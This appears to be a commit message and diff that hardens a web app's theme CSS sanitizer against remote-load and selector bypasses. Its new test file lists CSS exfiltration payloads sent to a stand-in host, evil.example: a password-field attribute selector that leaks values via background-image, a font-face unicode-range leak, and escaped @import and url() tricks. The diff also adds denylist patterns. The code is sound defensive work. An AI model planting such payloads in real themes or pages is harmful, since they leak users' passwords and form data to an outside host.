fix: close theme CSS sanitizer bypasses and enforce :root/.dark selectors

The theme sanitizer was a short denylist. It missed protocol-relative
`url(//host)`, schemes and keywords spelled with CSS escapes
(`url(\68ttps:...)`, `@\69mport`), `image-set("https://...")` and
`@font-face` sources, so a theme could load remote resources from the
app document. `validateThemeSelectors` was never called, so theme CSS
could also target `input[type=password]` or restyle real UI. The admin
routes and the zip validator only sanitized when the safety check
failed, and CSS returned by the `onThemeBeforeApply` plugin hook was
injected as-is.

- every `url()` except a `#fragment` and every `image-set()` is removed
  with its arguments; a banned construct spelled with escapes drops the
  whole stylesheet
- theme CSS keeps only `:root` and `.dark` rules (no nested rules),
  plus `@font-face`, `@keyframes` and `@media`/`@supports` wrappers
- sanitizing is unconditional everywhere, including plugin-transformed
  CSS; compiled token values may not contain escapes or `url()`

app/api/admin/marketplace/route.ts

@@ -20,7 +20,7 @@ import {
 } from '@/lib/admin/csp-frame-origins';
 import JSZip from 'jszip';
 import { MAX_PLUGIN_SIZE, MAX_THEME_SIZE, ALL_PERMISSIONS } from '@/lib/plugin-types';
-import { sanitizeThemeCSS, validateThemeCSSSafety } from '@/lib/theme-loader';
+import { sanitizeThemeCSS } from '@/lib/theme-loader';
 import { configManager } from '@/lib/admin/config-manager';
 
 async function getDirectoryUrl(): Promise<string> {
@@ -202,14 +202,12 @@ export async function POST(request: NextRequest) {
 
       let css = await cssFile.async('string');
 
-      // Validate and sanitize CSS
+      // Sanitize unconditionally: the safety check is advisory, and the
+      // sanitizer is also what drops rules outside :root and .dark.
       const warnings: string[] = [];
-      const safety = validateThemeCSSSafety(css);
-      if (!safety.valid) {
-        const sanitized = sanitizeThemeCSS(css);
-        css = sanitized.css;
-        warnings.push(...sanitized.warnings);
-      }
+      const sanitized = sanitizeThemeCSS(css);
+      css = sanitized.css;
+      warnings.push(...sanitized.warnings);
 
       const existingTheme = await getTheme(resolvedId);
       const isUpdate = existingTheme !== null;

app/api/admin/themes/route.ts

@@ -11,7 +11,7 @@ import {
 
 import JSZip from 'jszip';
 import { MAX_THEME_SIZE } from '@/lib/plugin-types';
-import { sanitizeThemeCSS, validateThemeCSSSafety } from '@/lib/theme-loader';
+import { sanitizeThemeCSS } from '@/lib/theme-loader';
 
 /**
  * GET /api/admin/themes - List all admin-managed themes
@@ -118,14 +118,12 @@ export async function POST(request: NextRequest) {
 
     let css = await cssFile.async('string');
 
-    // Validate and sanitize CSS
+    // Sanitize unconditionally: the safety check is advisory, and the
+    // sanitizer is also what drops rules outside :root and .dark.
     const warnings: string[] = [];
-    const safety = validateThemeCSSSafety(css);
-    if (!safety.valid) {
-      const sanitized = sanitizeThemeCSS(css);
-      css = sanitized.css;
-      warnings.push(...sanitized.warnings);
-    }
+    const sanitized = sanitizeThemeCSS(css);
+    css = sanitized.css;
+    warnings.push(...sanitized.warnings);
 
     const now = new Date().toISOString();
     const theme: ServerTheme = {

lib/__tests__/theme-loader.test.ts

@@ -233,4 +233,51 @@ describe('theme-loader', () => {
       expect(errors.some(e => e.includes('disallowed'))).toBe(true);
     });
   });
+
+  describe('sanitizer bypasses', () => {
+    const BS = String.fromCharCode(92); // backslash
+    const PAYLOADS: Record<string, string> = {
+      protocolRelative: ':root{--color-primary:#123} input[type=password][value$="a"]{background-image:url(//evil.example/k?a)}',
+      escapedScheme: ':root{--color-primary:#123} body{background:url(' + BS + '68ttps://evil.example/x)}',
+      imageSet: ':root{--color-primary:#123} body{background-image:image-set("https://evil.example/x" 1x)}',
+      escapedImport: '@' + BS + '69mport url(//evil.example/i.css); :root{--color-primary:#123}',
+      escapedUrl: ':root{--color-primary:#123; --x: ' + BS + '75rl(//evil.example/y)}',
+      fontFace: ':root{--color-primary:#123} @font-face{font-family:x;src:url(//evil.example/f?A);unicode-range:U+41} body{font-family:x}',
+    };
+
+    it.each(Object.entries(PAYLOADS))('%s: nothing reaches evil.example', (_name, css) => {
+      const { css: cleaned } = sanitizeThemeCSS(css);
+      expect(cleaned).not.toContain('evil.example');
+      expect(sanitizeSkinCSS(css).css).not.toContain('evil.example');
+      expect(validateThemeCSSSafety(css).valid).toBe(false);
+    });
+
+    it('drops rules for any selector but :root and .dark', () => {
+      const css = ':root{--color-primary:#123} [data-testid=sender]::after{content:"Verified sender"} .dark{--color-primary:#456}';
+      const { css: cleaned, warnings } = sanitizeThemeCSS(css);
+      expect(cleaned).not.toContain('Verified sender');
+      expect(cleaned).toContain('--color-primary:#123');
+      expect(cleaned).toContain('--color-primary:#456');
+      expect(warnings.some((w) => w.includes('[data-testid=sender]'))).toBe(true);
+    });
+
+    it('drops rules nested inside :root', () => {
+      const { css: cleaned } = sanitizeThemeCSS(':root{--color-primary:#123; & input[type=password]{display:none}}');
+      expect(cleaned).not.toContain('password');
+    });
+
+    it('keeps @media, @supports and @keyframes wrappers around allowed rules', () => {
+      const css = '@media (prefers-contrast: more){:root{--color-border:#000} body{display:none}} @keyframes pulse{from{opacity:0}to{opacity:1}}';
+      const { css: cleaned } = sanitizeThemeCSS(css);
+      expect(cleaned).toContain('@media (prefers-contrast: more)');
+      expect(cleaned).toContain('--color-border:#000');
+      expect(cleaned).not.toContain('display:none');
+      expect(cleaned).toContain('@keyframes pulse');
+    });
+
+    it('keeps a same-document fragment reference', () => {
+      const css = ':root{--color-primary:#123; --mask: url(#fade)}';
+      expect(sanitizeThemeCSS(css).css).toContain('url(#fade)');
+    });
+  });
 });

lib/plugin-types.ts

@@ -1103,8 +1103,12 @@ export const ALLOWED_PLUGIN_FILES = new Set([
 
 export const DISALLOWED_CSS_PATTERNS = [
   /@import\b/i,
-  /url\s*\(\s*['"]?https?:/i,
-  /url\s*\(\s*['"]?data:/i,
+  // Every url() except a same-document fragment loads something: a remote
+  // host (also written protocol-relative, `url(//host)`), a data: document,
+  // a same-origin path. Themes ship no assets, so none is needed.
+  /url\s*\(\s*(?!['"]?\s*#)/i,
+  // Takes plain strings, so it loads remote images without any url().
+  /image-set\s*\(/i,
   /expression\s*\(/i,
   /javascript\s*:/i,
   /-moz-binding/i,

lib/plugin-validator.ts

@@ -11,7 +11,7 @@ import {
   MAX_THEME_SKIN_BYTES,
   ALLOWED_PLUGIN_FILES,
 } from './plugin-types';
-import { sanitizeThemeCSS, sanitizeSkinCSS, validateThemeCSSSafety } from './theme-loader';
+import { sanitizeThemeCSS, sanitizeSkinCSS } from './theme-loader';
 import { compileAdvancedTheme, isAdvancedManifest } from './theme-compiler';
 
 export interface ValidationResult {
@@ -234,13 +234,11 @@ export async function extractTheme(file: File): Promise<ThemeExtractionResult> {
   let userCSS = '';
   if (cssFile) {
     userCSS = await cssFile.async('string');
-    const safety = validateThemeCSSSafety(userCSS);
-    if (!safety.valid) {
-      // Sanitize instead of rejecting
-      const sanitized = sanitizeThemeCSS(userCSS);
-      userCSS = sanitized.css;
-      warnings.push(...sanitized.warnings);
-    }
+    // Sanitize instead of rejecting, and always: the sanitizer is also what
+    // drops rules outside :root and .dark.
+    const sanitized = sanitizeThemeCSS(userCSS);
+    userCSS = sanitized.css;
+    warnings.push(...sanitized.warnings);
   } else if (!isAdvanced) {
     errors.push('Missing theme.css');
     return { valid: false, errors, warnings, manifest, css: '', skin: null, preview: null };

lib/theme-compiler.ts

@@ -104,7 +104,10 @@ function isSafeTokenKey(key: string): boolean {
 function isSafeTokenValue(value: string): boolean {
   if (/[{}<>]/.test(value)) return false;
   if (value.includes(';')) return false;
-  if (/url\s*\(\s*['"]?(https?|data|javascript):/i.test(value)) return false;
+  // A token is a colour, length or font stack: it never needs an escape,
+  // and escapes are how `\75rl(` slips past a pattern check.
+  if (value.includes('\\')) return false;
+  if (/url\s*\(|image-set\s*\(/i.test(value)) return false;
   if (/expression\s*\(/i.test(value)) return false;
   if (/-moz-binding/i.test(value)) return false;
   if (/javascript\s*:/i.test(value)) return false;

lib/theme-loader.ts

@@ -8,57 +8,176 @@ const THEME_SKIN_STYLE_ID = 'active-theme-skin';
 const THEME_SKIN_BODY_ATTR = 'data-theme-skin';
 
 /**
- * Sanitize theme CSS: strip dangerous patterns like @import, external url(),
- * JavaScript expressions, and -moz-binding. Returns cleaned CSS.
+ * Resolve CSS escapes (`\69mport`, `\75rl(`, `\:`) so a keyword spelled with
+ * escapes is recognised for what the browser will read. For detection only:
+ * the output is not safe to inject, since a decoded `\"` would end a string.
  */
-export function sanitizeThemeCSS(css: string): { css: string; warnings: string[] } {
-  const warnings: string[] = [];
-  let cleaned = css;
+function decodeCssEscapes(css: string): string {
+  return css.replace(/\\([0-9a-fA-F]{1,6})[ \t\n\r\f]?|\\([^\n\r\f0-9a-fA-F])/g, (_match, hex: string | undefined, ch: string | undefined) => {
+    if (hex === undefined) return ch ?? '';
+    const codePoint = parseInt(hex, 16);
+    return codePoint > 0 && codePoint <= 0x10ffff ? String.fromCodePoint(codePoint) : '�';
+  });
+}
 
-  for (const pattern of DISALLOWED_CSS_PATTERNS) {
-    if (pattern.test(cleaned)) {
-      warnings.push(`Removed disallowed pattern: ${pattern.source}`);
-      cleaned = cleaned.replace(new RegExp(pattern.source, 'gi'), '/* [removed] */');
-    }
+function stripComments(css: string): string {
+  return css.replace(/\/\*[\s\S]*?\*\//g, ' ');
+}
+
+/** A disallowed construct that only appears once escapes are resolved. */
+function hasEscapedDisallowedPattern(css: string): boolean {
+  const decoded = decodeCssEscapes(stripComments(css));
+  return DISALLOWED_CSS_PATTERNS.some((pattern) => pattern.test(decoded) && !pattern.test(css));
+}
+
+function stripDisallowedPatterns(css: string, label: string): { css: string; warnings: string[] } {
+  // Escapes that spell out a banned construct have no honest use, and where
+  // the construct ends can't be found without a full parser: drop it all.
+  if (hasEscapedDisallowedPattern(css)) {
+    return { css: '', warnings: [`${label}removed the stylesheet: it hides a disallowed pattern behind CSS escapes`] };
   }
 
+  const warnings: string[] = [];
+  let cleaned = css;
+  for (const pattern of DISALLOWED_CSS_PATTERNS) {
+    if (pattern.test(cleaned)) {
+      warnings.push(`${label}removed disallowed pattern: ${pattern.source}`);
+      cleaned = removeMatches(cleaned, new RegExp(pattern.source, 'gi'));
+    }
+  }
   return { css: cleaned, warnings };
 }
 
 /**
- * Validate that theme CSS only targets :root and .dark selectors.
- * Returns warnings for any other selectors found.
+ * Replace each match with a comment. A match that opens a function
+ * (`url(`, `image-set(`) takes its arguments along, up to the closing `)`.
  */
-export function validateThemeSelectors(css: string): string[] {
-  const warnings: string[] = [];
+function removeMatches(css: string, pattern: RegExp): string {
+  let out = '';
+  let last = 0;
+  let match: RegExpExecArray | null;
+  while ((match = pattern.exec(css)) !== null) {
+    let end = match.index + match[0].length;
+    if (match[0].endsWith('(')) end = findParenEnd(css, end);
+    out += css.slice(last, match.index) + '/* [removed] */';
+    last = end;
+    pattern.lastIndex = Math.max(end, match.index + 1);
+  }
+  return out + css.slice(last);
+}
 
-  // Remove comments
-  const noComments = css.replace(/\/\*[\s\S]*?\*\//g, '');
+/** Index just past the `)` closing a call whose arguments start at `start`. */
+function findParenEnd(css: string, start: number): number {
+  let depth = 1;
+  for (let i = start; i < css.length; i++) {
+    const c = css[i];
+    if (c === '\\') {
+      i++;
+    } else if (c === '"' || c === "'") {
+      for (i++; i < css.length && css[i] !== c; i++) {
+        if (css[i] === '\\') i++;
+      }
+    } else if (c === '(') {
+      depth++;
+    } else if (c === ')' && --depth === 0) {
+      return i + 1;
+    } else if (c === ';' || c === '}' || c === '{') {
+      return i;
+    }
+  }
+  return css.length;
+}
 
-  // Find selector blocks (text before { that isn't inside a value)
-  const selectorRegex = /([^{}]+)\{/g;
-  let match;
-  while ((match = selectorRegex.exec(noComments)) !== null) {
-    const selector = match[1].trim();
-    // Allow :root, .dark, @font-face, @keyframes, @media
-    if (
-      selector === ':root' ||
-      selector === '.dark' ||
-      selector.startsWith('@font-face') ||
-      selector.startsWith('@keyframes') ||
-      selector.startsWith('@media') ||
-      selector === ''
-    ) {
+/**
+ * Sanitize theme CSS: strip dangerous patterns like @import, url(),
+ * image-set(), JavaScript expressions and -moz-binding, then drop every
+ * rule whose selector is not `:root` or `.dark` (see restrictThemeSelectors).
+ */
+export function sanitizeThemeCSS(css: string): { css: string; warnings: string[] } {
+  const stripped = stripDisallowedPatterns(css, '');
+  const scoped = restrictThemeSelectors(stripped.css);
+  return { css: scoped.css, warnings: [...stripped.warnings, ...scoped.warnings] };
+}
+
+const THEME_SELECTORS = new Set([':root', '.dark']);
+const OPAQUE_AT_RULES = /^@(?:-webkit-)?keyframes\b|^@font-face\b/i;
+const NESTING_AT_RULES = /^@(?:media|supports)\b/i;
+
+/** Index of the `}` closing the block opened just before `start`, or -1. */
+function findBlockEnd(css: string, start: number): number {
+  let depth = 1;
+  for (let i = start; i < css.length; i++) {
+    const c = css[i];
+    if (c === '\\') {
+      i++;
+    } else if (c === '"' || c === "'") {
+      for (i++; i < css.length && css[i] !== c; i++) {
+        if (css[i] === '\\') i++;
+      }
+    } else if (c === '{') {
+      depth++;
+    } else if (c === '}' && --depth === 0) {
+      return i;
+    }
+  }
+  return -1;
+}
+
+function filterThemeRules(css: string, warnings: string[]): string {
+  const out: string[] = [];
+  let i = 0;
+  while (i < css.length) {
+    const open = css.indexOf('{', i);
+    const semi = css.indexOf(';', i);
+    if (open === -1 || (semi !== -1 && semi < open)) {
+      // A statement without a block (`@charset`, `@namespace`, stray text).
+      const end = semi === -1 ? css.length : semi + 1;
+      const statement = css.slice(i, end).trim();
+      if (statement && statement !== ';') warnings.push(`Removed "${statement.slice(0, 60)}" - themes only set :root and .dark variables`);
+      i = end;
       continue;
     }
+    const close = findBlockEnd(css, open + 1);
+    if (close === -1) {
+      warnings.push('Removed an unterminated rule');
+      break;
+    }
+    const prelude = css.slice(i, open).trim();
+    const body = css.slice(open + 1, close);
+    i = close + 1;
 
-    // Inside @media blocks, also allow :root and .dark
-    if (selector === ':root' || selector === '.dark') continue;
-
-    warnings.push(`Non-standard selector "${selector}" - themes should only use :root and .dark`);
+    if (OPAQUE_AT_RULES.test(prelude)) {
+      out.push(`${prelude} {${body}}`);
+    } else if (NESTING_AT_RULES.test(prelude)) {
+      out.push(`${prelude} {${filterThemeRules(body, warnings)}}`);
+    } else if (prelude.split(',').every((selector) => THEME_SELECTORS.has(selector.trim())) && !body.includes('{')) {
+      out.push(`${prelude} {${body}}`);
+    } else {
+      warnings.push(`Removed rule for "${prelude.slice(0, 60)}" - themes only set :root and .dark variables`);
+    }
   }
+  return out.join('\n');
+}
 
-  return warnings;
+/**
+ * Keep only rules for `:root` and `.dark` (declarations only, no nested
+ * rules), plus `@font-face`, `@keyframes`, and `@media` / `@supports`
+ * wrapping such rules. Theme CSS is injected into the app document; any
+ * other selector could restyle or hide real UI, or read form state through
+ * attribute selectors. Component-level styling belongs in a v2 skin.
+ */
+export function restrictThemeSelectors(css: string): { css: string; warnings: string[] } {
+  const warnings: string[] = [];
+  const filtered = filterThemeRules(stripComments(css), warnings);
+  return { css: filtered, warnings };
+}
+
+/**
+ * Validate that theme CSS only targets :root and .dark selectors.
+ * Returns a warning for every rule restrictThemeSelectors() would drop.
+ */
+export function validateThemeSelectors(css: string): string[] {
+  return restrictThemeSelectors(css).warnings;
 }
 
 /**
@@ -135,15 +254,9 @@ export function removeThemeSkinCSS(): void {
  * prohibitions still apply.
  */
 export function sanitizeSkinCSS(css: string): { css: string; warnings: string[] } {
-  const warnings: string[] = [];
-  let cleaned = css;
-
-  for (const pattern of DISALLOWED_CSS_PATTERNS) {
-    if (pattern.test(cleaned)) {
-      warnings.push(`Skin: removed disallowed pattern: ${pattern.source}`);
-      cleaned = cleaned.replace(new RegExp(pattern.source, 'gi'), '/* [removed] */');
-    }
-  }
+  const stripped = stripDisallowedPatterns(css, 'Skin: ');
+  const warnings = stripped.warnings;
+  let cleaned = stripped.css;
 
   // `@import` is already covered by DISALLOWED_CSS_PATTERNS, but skins also
   // get an explicit no-`@charset`/`@namespace` policy so they can't change
@@ -167,12 +280,14 @@ export function validateThemeCSSSafety(css: string): { valid: boolean; errors: s
     return { valid: false, errors };
   }
 
-  // Check for dangerous patterns
+  // Check for dangerous patterns, also when spelled with CSS escapes
+  const decoded = decodeCssEscapes(stripComments(css));
   for (const pattern of DISALLOWED_CSS_PATTERNS) {
-    if (pattern.test(css)) {
+    if (pattern.test(decoded)) {
       errors.push(`Contains disallowed pattern: ${pattern.source}`);
     }
   }
+  errors.push(...restrictThemeSelectors(css).warnings);
 
   // Check the CSS actually sets some variables
   if (!css.includes('--color-')) {

stores/theme-store.ts

@@ -545,7 +545,8 @@ function applyCustomThemeCSS(theme: InstalledTheme, resolvedTheme: 'light' | 'da
       // Bail out if the user switched themes while we were awaiting handlers.
       if (useThemeStore.getState().activeThemeId !== themeId) return;
       if (transformed && transformed !== theme.css) {
-        injectThemeCSS(transformed);
+        // A plugin's output gets no more reach than a theme's own CSS.
+        injectThemeCSS(sanitizeThemeCSS(transformed).css);
       }
     })
     .catch(() => {